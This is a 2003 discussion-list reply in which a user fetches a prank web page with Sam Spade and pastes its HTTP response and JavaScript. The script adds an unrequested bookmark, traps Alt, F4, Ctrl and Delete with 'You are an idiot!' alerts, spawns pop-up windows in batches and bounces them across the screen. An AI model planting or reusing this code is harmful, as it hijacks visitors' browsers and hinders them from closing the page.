>>do you have windows media player installed?

 FH> 6.4 with WMP9 codecs.

hummm... i've got v7.00.00.1959... not sure what codecs... how would i find
out on w98se?

>>you mean their 404 page with the squirrel of doom?

 FH> no, that's nice but tame.  Now try /advice, without the .html.

i did /advice/ and got that squirrle of doom... /advice gives me

"The image "http://twerked.com/~splice/advice" cannot be
displayed, because it contains errors."

in mozilla... this file is also linked on their bacon.php page... because
of the above error message, i added a / to the end... what else should it
be? i will /not/ be firing up IE any time soon :wink:

[time passses]

on the other hand, i do have sam spade and his non-rendering browser
here... hummm... that's mean and ugly!

===== snip =====

04/10/03 23:10:52 Browsing http://twerked.com/~splice/advice
Fetching http://twerked.com/~splice/advice ...
GET /~splice/advice HTTP/1.1
Host: twerked.com
Connection: close
User-Agent: Sam Spade 1.14

HTTP/1.1 200 OK
Date: Fri, 11 Apr 2003 03:01:59 GMT
Server: Apache/1.3.27 (Unix) mod_ssl/2.8.11 OpenSSL/0.9.6a DAV/1.0.3 PHP/4.3.2-RC1
Content-Location: advice.jpg
Vary: negotiate
TCN: choice
Last-Modified: Fri, 01 Nov 2002 03:23:53 GMT
ETag: "2bb973-a7f-3dc1f3c9;3e943ec8"
Accept-Ranges: bytes
Content-Length: 2687
Connection: close
Content-Type: image/jpeg



You are an idiot!


function bookmark() {
  if ((navigator.appName == "Microsoft Internet Explorer")
  && (parseInt(navigator.appVersion) >= 4))
  {
  var url="http://twerked.com/~splice/advice.jpg";
  var title="Idiot!";
  window.external.AddFavorite(url,title);
  }
  }

function altf4key() { if (event.keyCode == 18 || event.keyCode == 115)
alert("You are an idiot!"); }
function ctrlkey() { if (event.keyCode == 17) alert("You are an idiot!"); }
function delkey() { if (event.keyCode == 46) alert("You are an idiot!"); }

  var xOff = 5;
  var yOff = 5;
  var xPos = 400;
  var yPos = -100;
  var flagRun = 1;

function openWindow(url){
        aWindow = window.open(url,"_blank",
'menubar=no,status=no,toolbar=noresizab
le=no,width=180,height=175,titlebar=no,alwaysRaised=yes');
}

function procreate(){
  openWindow('advice.jpg');
  openWindow('advice.jpg');
  openWindow('advice.jpg');
  openWindow('advice.jpg');
  openWindow('advice.jpg');
  openWindow('advice.jpg');
  }

function newXlt(){
        xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
        window.focus()}

function newXrt(){
        xOff = Math.ceil(7 * Math.random())  * 5 - 10 ;
        }

function newYup(){
        yOff = Math.ceil( 0 - 6 * Math.random())  * 5 - 10 ;
        }

function newYdn(){
        yOff = Math.ceil( 7 * Math.random())  * 5 - 10  ;
        }

function fOff(){
        flagrun = 0;
        }

function playBall(){
        xPos += xOff;
        yPos += yOff;
        if (xPos > screen.width-175){
        newXlt();
        }
        if (xPos < 0){
        newXrt();
        }
        if (yPos > screen.height-100){
        newYup();
        }
        if (yPos < 0){
        newYdn();
        }
        if (flagRun == 1){
        window.moveTo(xPos,yPos);
        setTimeout('playBall()',1);
        }
        }